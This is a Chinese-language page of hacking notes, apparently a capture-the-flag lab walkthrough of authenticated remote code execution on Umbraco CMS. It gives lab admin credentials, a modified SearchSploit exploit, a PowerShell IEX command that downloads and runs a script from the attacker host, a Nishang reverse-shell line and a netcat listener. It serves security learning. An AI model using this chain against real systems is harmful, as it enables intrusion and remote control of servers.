> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/umbraco-cms-exploitation.md).

# Umbraco

Umbraco CMS 利用笔记，涵盖已认证 RCE、SearchSploit payload 修改、命令执行验证、PowerShell 下载链和反向 Shell 访问。

## 漏洞 RCE（Umbraco CMS）

找到一个管理员面板；以管理员用户测试身份验证：

`admin@htb.local:baconandcheese`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22e4c3037bbc2ea43e9427f33176d04d20f14bec%2F%7B382433B0-312E-419C-A5C0-176F5F8BF31F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

获得访问权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0695a07f5d3034450976414deb97ff9e30b6e41c%2Fimage%20(1283).png?alt=media" alt=""><figcaption></figcaption></figure>

搜索 `Searchsploit` 针对这个 CMS 查找一个 Umbraco RCE 脚本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4861f5edf285f8ed06657d0527b9dd92c4af4c1b%2Fimage%20(1284).png?alt=media" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

修改脚本中的登录名、密码和主机参数。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66f812a30c825a01f92d3bad53550e2471cfb4de%2Fimage%20(1288).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 ping 检查连通性：**/ 在服务器上执行此命令，并使用 tcpdump 监听。

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29956d5cf155c3ffdbf55eeb11db81f4c92b6b63%2Fimage%20(1290).png?alt=media" alt=""><figcaption></figcaption></figure>

一旦确认命令执行，在攻击者机器上托管 `PS.ps1` 脚本。

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

在脚本末尾追加以下一行：

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c334d136657545563678f55753a2341b710a2d44%2Fimage%20(1291).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Host `PS.ps1` 使用 Web 服务器：

```bash
python3 -m http.server 80
```

然后将命令修改为指向攻击者 Web 服务器：

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

最后，在 4444 端口启动监听器：

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3fd51dbd5bf6ae4f920c68f20579e60c91d281f%2Fimage%20(1292).png?alt=media" alt=""><figcaption></figcaption></figure></div>


---

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